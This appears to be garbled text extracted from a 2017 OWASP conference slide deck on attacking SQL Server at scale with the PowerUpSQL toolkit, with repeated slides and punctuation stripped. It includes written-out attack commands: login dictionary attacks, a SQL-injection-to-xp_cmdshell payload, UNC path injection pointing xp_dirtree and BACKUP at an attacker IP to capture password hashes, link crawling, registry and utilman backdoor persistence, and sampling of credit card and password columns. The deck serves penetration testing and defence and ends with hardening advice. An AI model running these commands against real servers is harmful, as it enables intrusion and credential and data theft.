Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 9: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

PowerUpSQL Overview Where can I get it

GithubhttpsgithubcomnetspiPowerUpSQL

PowerShell GalleryhttpswwwpowershellgallerycompackagesPowerUpSQL

PowerUpSQL Overview How do I install it

GithubImport-Module PowerUpSQLpsd1

IEX(New-Object SystemNetWebClient)DownloadString(httpsrawgithubusercontentcomNetSPIPowerUpSQLmasterPowerUpSQLps1)

Execution policy work aroundshttpsblognetspicom15-ways-to-bypass-the-powershell-execution-policy

PowerShell GalleryInstall-Module -Name PowerUpSQL

SQL ServerBasics

SQL Server BasicsWhat is SQL Server

A database platform An application A set of Windows services Each instance has its own set of

services

SQL Server Basics Account TypesAccount Types

Windows Accountso Used to logino Mapped to SQL Server login

SQL Server Loginso Used to logino Mapped to database account

Database Userso Used to access databases

SQL Server Basics Common RolesImportant SQL Server Roles

Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group

but in SQL Server

Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but

in SQL Server

Finding SQL Servers

Find SQL Servers TechniquesAttacker Perspective Attack Technique

Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources

Local User Services Registry entries

Domain User Service Principal Names Azure Portal PowerShell Modules

Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function

Unauthenticated Get-SQLInstanceFile

Unauthenticated Get-SQLInstanceUDPScan

Local User Get-SQLInstanceLocal

Domain User Get-SQLInstanceDomain

Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql

EscalatingPrivileges

Unauthenticated Domain User to SQL Login

Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers

Attacker Perspective Attack Technique

Unauthenticated Dictionary attacks using common user names and passwords

Unauthenticated Default passwords based on the SQL Server instance names

Local Windows or ADS Domain Account

Attempt to login using the current account

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
